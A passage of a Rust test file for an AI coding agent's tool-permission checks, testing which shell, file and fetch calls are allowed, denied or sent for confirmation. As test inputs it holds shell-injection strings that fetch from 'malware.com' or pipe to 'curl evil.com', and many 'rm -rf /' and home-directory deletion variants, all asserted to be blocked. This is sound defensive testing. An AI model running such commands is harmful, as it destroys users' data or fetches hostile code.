1037 &["x".to_string()],
1038 &p,
1039 ShellKind::Posix
1040 ),
1041 ToolPermissionDecision::Allow
1042 );
1043 }
1044
1045 #[test]
1046 fn partial_tool_name_no_match() {
1047 let mut tools = collections::HashMap::default();
1048 tools.insert(
1049 Arc::from("term"),
1050 ToolRules {
1051 default: Some(ToolPermissionMode::Deny),
1052 always_allow: vec![],
1053 always_deny: vec![],
1054 always_confirm: vec![],
1055 invalid_patterns: vec![],
1056 },
1057 );
1058 let p = ToolPermissions {
1059 default: ToolPermissionMode::Confirm,
1060 tools,
1061 };
1062 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1063 assert_eq!(
1064 ToolPermissionDecision::from_input(
1065 TerminalTool::NAME,
1066 &["x".to_string()],
1067 &p,
1068 ShellKind::Posix
1069 ),
1070 ToolPermissionDecision::Confirm
1071 );
1072 }
1073
1074 // invalid patterns block the tool
1075 #[test]
1076 fn invalid_pattern_blocks() {
1077 let mut tools = collections::HashMap::default();
1078 tools.insert(
1079 Arc::from(TerminalTool::NAME),
1080 ToolRules {
1081 default: Some(ToolPermissionMode::Allow),
1082 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1083 always_deny: vec![],
1084 always_confirm: vec![],
1085 invalid_patterns: vec![InvalidRegexPattern {
1086 pattern: "[bad".into(),
1087 rule_type: "always_deny".into(),
1088 error: "err".into(),
1089 }],
1090 },
1091 );
1092 let p = ToolPermissions {
1093 default: ToolPermissionMode::Confirm,
1094 tools,
1095 };
1096 // Invalid patterns block the tool regardless of other settings
1097 assert!(matches!(
1098 ToolPermissionDecision::from_input(
1099 TerminalTool::NAME,
1100 &["echo hi".to_string()],
1101 &p,
1102 ShellKind::Posix
1103 ),
1104 ToolPermissionDecision::Deny(_)
1105 ));
1106 }
1107
1108 #[test]
1109 fn invalid_substitution_bearing_command_denies_by_default() {
1110 let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1111 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1112 }
1113
1114 #[test]
1115 fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1116 let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1117 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1118 }
1119
1120 #[test]
1121 fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1122 let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1123 assert_eq!(decision, ToolPermissionDecision::Allow);
1124 }
1125
1126 #[test]
1127 fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1128 let mut tools = collections::HashMap::default();
1129 tools.insert(
1130 Arc::from(TerminalTool::NAME),
1131 ToolRules {
1132 default: Some(ToolPermissionMode::Allow),
1133 always_allow: vec![],
1134 always_deny: vec![],
1135 always_confirm: vec![],
1136 invalid_patterns: vec![],
1137 },
1138 );
1139 let permissions = ToolPermissions {
1140 default: ToolPermissionMode::Confirm,
1141 tools,
1142 };
1143
1144 assert_eq!(
1145 ToolPermissionDecision::from_input(
1146 TerminalTool::NAME,
1147 &["echo $(whoami)".to_string()],
1148 &permissions,
1149 ShellKind::Posix,
1150 ),
1151 ToolPermissionDecision::Allow
1152 );
1153 }
1154
1155 #[test]
1156 fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1157 t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1158 }
1159
1160 #[test]
1161 fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1162 t("PAGER=blah git log --oneline")
1163 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1164 .is_allow();
1165 }
1166
1167 #[test]
1168 fn env_prefixed_allow_pattern_requires_matching_env_value() {
1169 t("PAGER=more git log --oneline")
1170 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1171 .is_confirm();
1172 }
1173
1174 #[test]
1175 fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1176 t("PAGER=blah git log && git status")
1177 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1178 .is_confirm();
1179 }
1180
1181 #[test]
1182 fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1183 let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1184 match decision {
1185 ToolPermissionDecision::Deny(message) => {
1186 assert!(
1187 message.contains("built-in security rule"),
1188 "expected hardcoded denial message, got: {message}"
1189 );
1190 }
1191 other => panic!("expected Deny, got {other:?}"),
1192 }
1193 }
1194
1195 #[test]
1196 fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1197 let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1198 match decision {
1199 ToolPermissionDecision::Deny(message) => {
1200 assert!(
1201 message.contains("built-in security rule"),
1202 "expected hardcoded denial message, got: {message}"
1203 );
1204 }
1205 other => panic!("expected Deny, got {other:?}"),
1206 }
1207 }
1208
1209 #[test]
1210 fn shell_injection_via_double_ampersand_not_allowed() {
1211 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1212 }
1213
1214 #[test]
1215 fn shell_injection_via_semicolon_not_allowed() {
1216 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1217 }
1218
1219 #[test]
1220 fn shell_injection_via_pipe_not_allowed() {
1221 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1222 }
1223
1224 #[test]
1225 fn shell_injection_via_backticks_not_allowed() {
1226 t("echo `wget malware.com`")
1227 .allow(&[pattern("echo")])
1228 .is_deny();
1229 }
1230
1231 #[test]
1232 fn shell_injection_via_dollar_parens_not_allowed() {
1233 t("echo $(wget malware.com)")
1234 .allow(&[pattern("echo")])
1235 .is_deny();
1236 }
1237
1238 #[test]
1239 fn shell_injection_via_or_operator_not_allowed() {
1240 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1241 }
1242
1243 #[test]
1244 fn shell_injection_via_background_operator_not_allowed() {
1245 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1246 }
1247
1248 #[test]
1249 fn shell_injection_via_newline_not_allowed() {
1250 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1251 }
1252
1253 #[test]
1254 fn shell_injection_via_process_substitution_input_not_allowed() {
1255 t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1256 }
1257
1258 #[test]
1259 fn shell_injection_via_process_substitution_output_not_allowed() {
1260 t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1261 }
1262
1263 #[test]
1264 fn shell_injection_without_spaces_not_allowed() {
1265 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1266 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1267 }
1268
1269 #[test]
1270 fn shell_injection_multiple_chained_operators_not_allowed() {
1271 t("ls && echo hello && wget malware.com")
1272 .allow(&["^ls"])
1273 .is_confirm();
1274 }
1275
1276 #[test]
1277 fn shell_injection_mixed_operators_not_allowed() {
1278 t("ls; echo hello && wget malware.com")
1279 .allow(&["^ls"])
1280 .is_confirm();
1281 }
1282
1283 #[test]
1284 fn shell_injection_pipe_stderr_not_allowed() {
1285 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1286 }
1287
1288 #[test]
1289 fn allow_requires_all_commands_to_match() {
1290 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1291 }
1292
1293 #[test]
1294 fn dev_null_redirect_does_not_cause_false_negative() {
1295 // Redirects to /dev/null are known-safe and should be skipped during
1296 // command extraction, so they don't prevent auto-allow from matching.
1297 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1298 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1299 .is_allow();
1300 }
1301
1302 #[test]
1303 fn redirect_to_real_file_still_causes_confirm() {
1304 // Redirects to real files (not /dev/null) should still be included in
1305 // the extracted commands, so they prevent auto-allow when unmatched.
1306 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1307 }
1308
1309 #[test]
1310 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1311 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1312 // "echo y\ny" and "git add -p file". Both should match their respective allow
1313 // patterns, so the overall command should be auto-allowed.
1314 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1315 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1316 .is_allow();
1317 }
1318
1319 #[test]
1320 fn deny_triggers_on_any_matching_command() {
1321 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1322 }
1323
1324 #[test]
1325 fn deny_catches_injected_command() {
1326 t("ls && rm -rf ./temp")
1327 .allow(&["^ls"])
1328 .deny(&["^rm"])
1329 .is_deny();
1330 }
1331
1332 #[test]
1333 fn confirm_triggers_on_any_matching_command() {
1334 t("ls && sudo reboot")
1335 .allow(&["^ls"])
1336 .confirm(&["^sudo"])
1337 .is_confirm();
1338 }
1339
1340 #[test]
1341 fn always_allow_button_works_end_to_end() {
1342 // This test verifies that the "Always Allow" button behavior works correctly:
1343 // 1. User runs a command like "cargo build --release"
1344 // 2. They click "Always Allow for `cargo build` commands"
1345 // 3. The pattern extracted should match future "cargo build" commands
1346 // but NOT other cargo subcommands like "cargo test"
1347 let original_command = "cargo build --release";
1348 let extracted_pattern = pattern(original_command);
1349
1350 // The extracted pattern should allow the original command
1351 t(original_command).allow(&[extracted_pattern]).is_allow();
1352
1353 // It should allow other "cargo build" invocations with different flags
1354 t("cargo build").allow(&[extracted_pattern]).is_allow();
1355 t("cargo build --features foo")
1356 .allow(&[extracted_pattern])
1357 .is_allow();
1358
1359 // But NOT other cargo subcommands — the pattern is subcommand-specific
1360 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1361 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1362
1363 // Hyphenated extensions of the subcommand should not match either
1364 // (e.g. cargo plugins like "cargo build-foo")
1365 t("cargo build-foo")
1366 .allow(&[extracted_pattern])
1367 .is_confirm();
1368 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1369
1370 // But not commands with different base commands
1371 t("npm install").allow(&[extracted_pattern]).is_confirm();
1372
1373 // Chained commands: all must match the pattern
1374 t("cargo build && cargo build --release")
1375 .allow(&[extracted_pattern])
1376 .is_allow();
1377
1378 // But reject if any subcommand doesn't match
1379 t("cargo build && npm install")
1380 .allow(&[extracted_pattern])
1381 .is_confirm();
1382 }
1383
1384 #[test]
1385 fn always_allow_button_works_without_subcommand() {
1386 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1387 // should only include the command name, not the flag.
1388 let original_command = "ls -la";
1389 let extracted_pattern = pattern(original_command);
1390
1391 // The extracted pattern should allow the original command
1392 t(original_command).allow(&[extracted_pattern]).is_allow();
1393
1394 // It should allow other invocations of the same command
1395 t("ls").allow(&[extracted_pattern]).is_allow();
1396 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1397
1398 // But not different commands
1399 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1400
1401 // Chained commands: all must match
1402 t("ls -la && ls /tmp")
1403 .allow(&[extracted_pattern])
1404 .is_allow();
1405 t("ls -la && cat file.txt")
1406 .allow(&[extracted_pattern])
1407 .is_confirm();
1408 }
1409
1410 #[test]
1411 fn nested_command_substitution_is_denied() {
1412 t("echo $(cat $(whoami).txt)")
1413 .allow(&["^echo", "^cat", "^whoami"])
1414 .is_deny();
1415 }
1416
1417 #[test]
1418 fn parse_failure_is_denied() {
1419 t("ls &&").allow(&["^ls$"]).is_deny();
1420 }
1421
1422 #[test]
1423 fn mcp_tool_default_modes() {
1424 t("")
1425 .tool("mcp:fs:read")
1426 .mode(ToolPermissionMode::Allow)
1427 .is_allow();
1428 t("")
1429 .tool("mcp:bad:del")
1430 .mode(ToolPermissionMode::Deny)
1431 .is_deny();
1432 t("")
1433 .tool("mcp:gh:issue")
1434 .mode(ToolPermissionMode::Confirm)
1435 .is_confirm();
1436 t("")
1437 .tool("mcp:gh:issue")
1438 .mode(ToolPermissionMode::Confirm)
1439 .global_default(ToolPermissionMode::Allow)
1440 .is_confirm();
1441 }
1442
1443 #[test]
1444 fn mcp_doesnt_collide_with_builtin() {
1445 let mut tools = collections::HashMap::default();
1446 tools.insert(
1447 Arc::from(TerminalTool::NAME),
1448 ToolRules {
1449 default: Some(ToolPermissionMode::Deny),
1450 always_allow: vec![],
1451 always_deny: vec![],
1452 always_confirm: vec![],
1453 invalid_patterns: vec![],
1454 },
1455 );
1456 tools.insert(
1457 Arc::from("mcp:srv:terminal"),
1458 ToolRules {
1459 default: Some(ToolPermissionMode::Allow),
1460 always_allow: vec![],
1461 always_deny: vec![],
1462 always_confirm: vec![],
1463 invalid_patterns: vec![],
1464 },
1465 );
1466 let p = ToolPermissions {
1467 default: ToolPermissionMode::Confirm,
1468 tools,
1469 };
1470 assert!(matches!(
1471 ToolPermissionDecision::from_input(
1472 TerminalTool::NAME,
1473 &["x".to_string()],
1474 &p,
1475 ShellKind::Posix
1476 ),
1477 ToolPermissionDecision::Deny(_)
1478 ));
1479 assert_eq!(
1480 ToolPermissionDecision::from_input(
1481 "mcp:srv:terminal",
1482 &["x".to_string()],
1483 &p,
1484 ShellKind::Posix
1485 ),
1486 ToolPermissionDecision::Allow
1487 );
1488 }
1489
1490 #[test]
1491 fn case_insensitive_by_default() {
1492 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1493 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1494 }
1495
1496 #[test]
1497 fn case_sensitive_allow() {
1498 t("cargo test")
1499 .allow_case_sensitive(&[pattern("cargo")])
1500 .is_allow();
1501 t("CARGO TEST")
1502 .allow_case_sensitive(&[pattern("cargo")])
1503 .is_confirm();
1504 }
1505
1506 #[test]
1507 fn case_sensitive_deny() {
1508 t("rm -rf ./temp")
1509 .deny_case_sensitive(&[pattern("rm")])
1510 .is_deny();
1511 t("RM -RF ./temp")
1512 .deny_case_sensitive(&[pattern("rm")])
1513 .mode(ToolPermissionMode::Allow)
1514 .is_allow();
1515 }
1516
1517 #[test]
1518 fn nushell_allows_with_allow_pattern() {
1519 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1520 }
1521
1522 #[test]
1523 fn nushell_allows_deny_patterns() {
1524 t("rm -rf ./temp")
1525 .deny(&["rm\\s+-rf"])
1526 .shell(ShellKind::Nushell)
1527 .is_deny();
1528 }
1529
1530 #[test]
1531 fn nushell_allows_confirm_patterns() {
1532 t("sudo reboot")
1533 .confirm(&["sudo"])
1534 .shell(ShellKind::Nushell)
1535 .is_confirm();
1536 }
1537
1538 #[test]
1539 fn nushell_no_allow_patterns_uses_default() {
1540 t("ls")
1541 .deny(&["rm"])
1542 .mode(ToolPermissionMode::Allow)
1543 .shell(ShellKind::Nushell)
1544 .is_allow();
1545 }
1546
1547 #[test]
1548 fn elvish_allows_with_allow_pattern() {
1549 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1550 }
1551
1552 #[test]
1553 fn rc_allows_with_allow_pattern() {
1554 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1555 }
1556
1557 #[test]
1558 fn multiple_invalid_patterns_pluralizes_message() {
1559 let mut tools = collections::HashMap::default();
1560 tools.insert(
1561 Arc::from(TerminalTool::NAME),
1562 ToolRules {
1563 default: Some(ToolPermissionMode::Allow),
1564 always_allow: vec![],
1565 always_deny: vec![],
1566 always_confirm: vec![],
1567 invalid_patterns: vec![
1568 InvalidRegexPattern {
1569 pattern: "[bad1".into(),
1570 rule_type: "always_deny".into(),
1571 error: "err1".into(),
1572 },
1573 InvalidRegexPattern {
1574 pattern: "[bad2".into(),
1575 rule_type: "always_allow".into(),
1576 error: "err2".into(),
1577 },
1578 ],
1579 },
1580 );
1581 let p = ToolPermissions {
1582 default: ToolPermissionMode::Confirm,
1583 tools,
1584 };
1585
1586 let result = ToolPermissionDecision::from_input(
1587 TerminalTool::NAME,
1588 &["echo hi".to_string()],
1589 &p,
1590 ShellKind::Posix,
1591 );
1592 match result {
1593 ToolPermissionDecision::Deny(msg) => {
1594 assert!(
1595 msg.contains("2 regex patterns"),
1596 "Expected '2 regex patterns' in message, got: {}",
1597 msg
1598 );
1599 }
1600 other => panic!("Expected Deny, got {:?}", other),
1601 }
1602 }
1603
1604 // always_confirm patterns on non-terminal tools
1605 #[test]
1606 fn always_confirm_works_for_file_tools() {
1607 t("sensitive.env")
1608 .tool(EditFileTool::NAME)
1609 .confirm(&["sensitive"])
1610 .is_confirm();
1611
1612 t("normal.txt")
1613 .tool(EditFileTool::NAME)
1614 .confirm(&["sensitive"])
1615 .mode(ToolPermissionMode::Allow)
1616 .is_allow();
1617
1618 t("/etc/config")
1619 .tool(DeletePathTool::NAME)
1620 .confirm(&["/etc/"])
1621 .is_confirm();
1622
1623 t("/home/user/safe.txt")
1624 .tool(DeletePathTool::NAME)
1625 .confirm(&["/etc/"])
1626 .mode(ToolPermissionMode::Allow)
1627 .is_allow();
1628
1629 t("https://secret.internal.com/api")
1630 .tool(FetchTool::NAME)
1631 .confirm(&["secret\\.internal"])
1632 .is_confirm();
1633
1634 t("https://public.example.com/api")
1635 .tool(FetchTool::NAME)
1636 .confirm(&["secret\\.internal"])
1637 .mode(ToolPermissionMode::Allow)
1638 .is_allow();
1639
1640 // confirm on non-terminal tools still beats allow
1641 t("sensitive.env")
1642 .tool(EditFileTool::NAME)
1643 .allow(&["sensitive"])
1644 .confirm(&["\\.env$"])
1645 .is_confirm();
1646
1647 // confirm on non-terminal tools is still beaten by deny
1648 t("sensitive.env")
1649 .tool(EditFileTool::NAME)
1650 .confirm(&["sensitive"])
1651 .deny(&["\\.env$"])
1652 .is_deny();
1653
1654 // global default allow does not bypass confirm on non-terminal tools
1655 t("/etc/passwd")
1656 .tool(EditFileTool::NAME)
1657 .confirm(&["/etc/"])
1658 .global_default(ToolPermissionMode::Allow)
1659 .is_confirm();
1660 }
1661
1662 // Hardcoded security rules tests - these rules CANNOT be bypassed
1663
1664 #[test]
1665 fn hardcoded_blocks_rm_rf_root() {
1666 t("rm -rf /").is_deny();
1667 t("rm -fr /").is_deny();
1668 t("rm -RF /").is_deny();
1669 t("rm -FR /").is_deny();
1670 t("rm -r -f /").is_deny();
1671 t("rm -f -r /").is_deny();
1672 t("RM -RF /").is_deny();
1673 t("rm /").is_deny();
1674 // Long flags
1675 t("rm --recursive --force /").is_deny();
1676 t("rm --force --recursive /").is_deny();
1677 // Extra short flags
1678 t("rm -rfv /").is_deny();
1679 t("rm -v -rf /").is_deny();
1680 // Glob wildcards
1681 t("rm -rf /*").is_deny();
1682 t("rm -rf /* ").is_deny();
1683 // End-of-options marker
1684 t("rm -rf -- /").is_deny();
1685 t("rm -- /").is_deny();
1686 // Prefixed with sudo or other commands
1687 t("sudo rm -rf /").is_deny();
1688 t("sudo rm -rf /*").is_deny();
1689 t("sudo rm -rf --no-preserve-root /").is_deny();
1690 }
1691
1692 #[test]
1693 fn hardcoded_blocks_rm_rf_home() {
1694 t("rm -rf ~").is_deny();
1695 t("rm -fr ~").is_deny();
1696 t("rm -rf ~/").is_deny();
1697 t("rm -rf $HOME").is_deny();
1698 t("rm -fr $HOME").is_deny();
1699 t("rm -rf $HOME/").is_deny();
1700 t("rm -rf ${HOME}").is_deny();
1701 t("rm -rf ${HOME}/").is_deny();
1702 t("rm -RF $HOME").is_deny();
1703 t("rm -FR ${HOME}/").is_deny();
1704 t("rm -R -F ${HOME}/").is_deny();
1705 t("RM -RF ~").is_deny();
1706 // Long flags
1707 t("rm --recursive --force ~").is_deny();
1708 t("rm --recursive --force ~/").is_deny();
1709 t("rm --recursive --force $HOME").is_deny();
1710 t("rm --force --recursive ${HOME}/").is_deny();
1711 // Extra short flags
1712 t("rm -rfv ~").is_deny();
1713 t("rm -v -rf ~/").is_deny();
1714 // Glob wildcards
1715 t("rm -rf ~/*").is_deny();
1716 t("rm -rf $HOME/*").is_deny();
1717 t("rm -rf ${HOME}/*").is_deny();
1718 // End-of-options marker
1719 t("rm -rf -- ~").is_deny();
1720 t("rm -rf -- ~/").is_deny();
1721 t("rm -rf -- $HOME").is_deny();
1722 }
1723
1724 #[test]
1725 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1726 // Path traversal after $HOME / ${HOME} should still be blocked
1727 t("rm -rf $HOME/./").is_deny();
1728 t("rm -rf $HOME/foo/..").is_deny();
1729 t("rm -rf ${HOME}/.").is_deny();
1730 t("rm -rf ${HOME}/./").is_deny();
1731 t("rm -rf $HOME/a/b/../..").is_deny();
1732 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1733 // Subdirectories should NOT be blocked
1734 t("rm -rf $HOME/subdir")
1735 .mode(ToolPermissionMode::Allow)
1736 .is_allow();
1737 t("rm -rf ${HOME}/Documents")
1738 .mode(ToolPermissionMode::Allow)
1739 .is_allow();
1740 }
1741
1742 #[test]
1743 fn hardcoded_blocks_rm_rf_dot() {
1744 t("rm -rf .").is_deny();
1745 t("rm -fr .").is_deny();
1746 t("rm -rf ./").is_deny();
1747 t("rm -rf ..").is_deny();
1748 t("rm -fr ..").is_deny();
1749 t("rm -rf ../").is_deny();
1750 t("rm -RF .").is_deny();
1751 t("rm -FR ../").is_deny();
1752 t("rm -R -F ../").is_deny();
1753 t("RM -RF .").is_deny();
1754 t("RM -RF ..").is_deny();
1755 // Long flags
1756 t("rm --recursive --force .").is_deny();
1757 t("rm --force --recursive ../").is_deny();
1758 // Extra short flags
1759 t("rm -rfv .").is_deny();
1760 t("rm -v -rf ../").is_deny();
1761 // Glob wildcards
1762 t("rm -rf ./*").is_deny();
1763 t("rm -rf ../*").is_deny();
1764 // End-of-options marker
1765 t("rm -rf -- .").is_deny();
1766 t("rm -rf -- ../").is_deny();
1767 }
1768
1769 #[test]
1770 fn hardcoded_cannot_be_bypassed_by_global() {
1771 // Even with global default Allow, hardcoded rules block
1772 t("rm -rf /")
1773 .global_default(ToolPermissionMode::Allow)
1774 .is_deny();
1775 t("rm -rf ~")
1776 .global_default(ToolPermissionMode::Allow)
1777 .is_deny();
1778 t("rm -rf $HOME")
1779 .global_default(ToolPermissionMode::Allow)
1780 .is_deny();
1781 t("rm -rf .")
1782 .global_default(ToolPermissionMode::Allow)
1783 .is_deny();
1784 t("rm -rf ..")
1785 .global_default(ToolPermissionMode::Allow)
1786 .is_deny();
1787 }
1788
1789 #[test]
1790 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1791 // Even with an allow pattern that matches, hardcoded rules block
1792 t("rm -rf /").allow(&[".*"]).is_deny();
1793 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1794 t("rm -rf .").allow(&[".*"]).is_deny();
1795 t("rm -rf ..").allow(&[".*"]).is_deny();
1796 }
1797
1798 #[test]
1799 fn hardcoded_allows_safe_rm() {
1800 // rm -rf on a specific path should NOT be blocked
1801 t("rm -rf ./build")
1802 .mode(ToolPermissionMode::Allow)
1803 .is_allow();
1804 t("rm -rf /tmp/test")
1805 .mode(ToolPermissionMode::Allow)
1806 .is_allow();
1807 t("rm -rf ~/Documents")
1808 .mode(ToolPermissionMode::Allow)
1809 .is_allow();
1810 t("rm -rf $HOME/Documents")
1811 .mode(ToolPermissionMode::Allow)
1812 .is_allow();
1813 t("rm -rf ../some_dir")
1814 .mode(ToolPermissionMode::Allow)
1815 .is_allow();
1816 t("rm -rf .hidden_dir")
1817 .mode(ToolPermissionMode::Allow)
1818 .is_allow();
1819 t("rm -rfv ./build")
1820 .mode(ToolPermissionMode::Allow)
1821 .is_allow();
1822 t("rm --recursive --force ./build")
1823 .mode(ToolPermissionMode::Allow)
1824 .is_allow();
1825 }
1826
1827 #[test]
1828 fn hardcoded_checks_chained_commands() {
1829 // Hardcoded rules should catch dangerous commands in chains
1830 t("ls && rm -rf /").is_deny();
1831 t("echo hello; rm -rf ~").is_deny();
1832 t("cargo build && rm -rf /")
1833 .global_default(ToolPermissionMode::Allow)
1834 .is_deny();
1835 t("echo hello; rm -rf $HOME").is_deny();
1836 t("echo hello; rm -rf .").is_deny();
1837 t("echo hello; rm -rf ..").is_deny();
1838 }
1839
1840 #[test]
1841 fn hardcoded_blocks_rm_with_extra_flags() {
1842 // Extra flags like -v, -i should not bypass the security rules
1843 t("rm -rfv /").is_deny();
1844 t("rm -v -rf /").is_deny();
1845 t("rm -rfi /").is_deny();
1846 t("rm -rfv ~").is_deny();
1847 t("rm -rfv ~/").is_deny();
1848 t("rm -rfv $HOME").is_deny();
1849 t("rm -rfv .").is_deny();
1850 t("rm -rfv ./").is_deny();
1851 t("rm -rfv ..").is_deny();
1852 t("rm -rfv ../").is_deny();
1853 }
1854
1855 #[test]
1856 fn hardcoded_blocks_rm_with_long_flags() {
1857 t("rm --recursive --force /").is_deny();
1858 t("rm --force --recursive /").is_deny();
1859 t("rm --recursive --force ~").is_deny();
1860 t("rm --recursive --force ~/").is_deny();
1861 t("rm --recursive --force $HOME").is_deny();
1862 t("rm --recursive --force .").is_deny();
1863 t("rm --recursive --force ..").is_deny();
1864 }
1865
1866 #[test]
1867 fn hardcoded_blocks_rm_with_glob_star() {
1868 // rm -rf /* is equally catastrophic to rm -rf /
1869 t("rm -rf /*").is_deny();
1870 t("rm -rf ~/*").is_deny();
1871 t("rm -rf $HOME/*").is_deny();
1872 t("rm -rf ${HOME}/*").is_deny();
1873 t("rm -rf ./*").is_deny();
1874 t("rm -rf ../*").is_deny();
1875 }
1876
1877 #[test]
1878 fn hardcoded_extra_flags_allow_safe_rm() {
1879 // Extra flags on specific paths should NOT be blocked
1880 t("rm -rfv ~/somedir")
1881 .mode(ToolPermissionMode::Allow)
1882 .is_allow();
1883 t("rm -rfv /tmp/test")
1884 .mode(ToolPermissionMode::Allow)
1885 .is_allow();
1886 t("rm --recursive --force ./build")
1887 .mode(ToolPermissionMode::Allow)
1888 .is_allow();
1889 }
1890
1891 #[test]
1892 fn hardcoded_does_not_block_words_containing_rm() {
1893 // Words like "storm", "inform" contain "rm" but should not be blocked
1894 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1895 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1896 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1897 }
1898
1899 #[test]
1900 fn hardcoded_blocks_rm_with_trailing_flags() {
1901 // GNU rm accepts flags after operands by default
1902 t("rm / -rf").is_deny();
1903 t("rm / -fr").is_deny();
1904 t("rm / -RF").is_deny();
1905 t("rm / -r -f").is_deny();
1906 t("rm / --recursive --force").is_deny();
1907 t("rm / -rfv").is_deny();
1908 t("rm /* -rf").is_deny();
1909 // Mixed: some flags before path, some after
1910 t("rm -r / -f").is_deny();
1911 t("rm -f / -r").is_deny();
1912 // Home
1913 t("rm ~ -rf").is_deny();
1914 t("rm ~/ -rf").is_deny();
1915 t("rm ~ -r -f").is_deny();
1916 t("rm $HOME -rf").is_deny();
1917 t("rm ${HOME} -rf").is_deny();
1918 // Dot / dotdot
1919 t("rm . -rf").is_deny();
1920 t("rm ./ -rf").is_deny();
1921 t("rm . -r -f").is_deny();
1922 t("rm .. -rf").is_deny();
1923 t("rm ../ -rf").is_deny();
1924 t("rm .. -r -f").is_deny();
1925 // Trailing flags in chained commands
1926 t("ls && rm / -rf").is_deny();
1927 t("echo hello; rm ~ -rf").is_deny();
1928 // Safe paths with trailing flags should NOT be blocked
1929 t("rm ./build -rf")
1930 .mode(ToolPermissionMode::Allow)
1931 .is_allow();
1932 t("rm /tmp/test -rf")
1933 .mode(ToolPermissionMode::Allow)
1934 .is_allow();
1935 t("rm ~/Documents -rf")
1936 .mode(ToolPermissionMode::Allow)
1937 .is_allow();
1938 }
1939
1940 #[test]
1941 fn hardcoded_blocks_rm_with_flag_equals_value() {
1942 // --flag=value syntax should not bypass the rules
1943 t("rm --no-preserve-root=yes -rf /").is_deny();
1944 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1945 t("rm -rf --no-preserve-root=yes /").is_deny();
1946 t("rm --interactive=never -rf /").is_deny();
1947 t("rm --no-preserve-root=yes -rf ~").is_deny();
1948 t("rm --no-preserve-root=yes -rf .").is_deny();
1949 t("rm --no-preserve-root=yes -rf ..").is_deny();
1950 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1951 // --flag (without =value) should also not bypass the rules
1952 t("rm -rf --no-preserve-root /").is_deny();
1953 t("rm --no-preserve-root -rf /").is_deny();
1954 t("rm --no-preserve-root --recursive --force /").is_deny();
1955 t("rm -rf --no-preserve-root ~").is_deny();
1956 t("rm -rf --no-preserve-root .").is_deny();
1957 t("rm -rf --no-preserve-root ..").is_deny();
1958 t("rm -rf --no-preserve-root $HOME").is_deny();
1959 // Trailing --flag=value after path
1960 t("rm / --no-preserve-root=yes -rf").is_deny();
1961 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1962 // Trailing --flag (without =value) after path
1963 t("rm / -rf --no-preserve-root").is_deny();
1964 t("rm ~ -rf --no-preserve-root").is_deny();
1965 // Safe paths with --flag=value should NOT be blocked
1966 t("rm --no-preserve-root=yes -rf ./build")
1967 .mode(ToolPermissionMode::Allow)
1968 .is_allow();
1969 t("rm --interactive=never -rf /tmp/test")
1970 .mode(ToolPermissionMode::Allow)
1971 .is_allow();
1972 // Safe paths with --flag (without =value) should NOT be blocked
1973 t("rm --no-preserve-root -rf ./build")
1974 .mode(ToolPermissionMode::Allow)
1975 .is_allow();
1976 }
1977
1978 #[test]
1979 fn hardcoded_blocks_rm_with_path_traversal() {
1980 // Traversal to root via ..
1981 t("rm -rf /etc/../").is_deny();
1982 t("rm -rf /tmp/../../").is_deny();
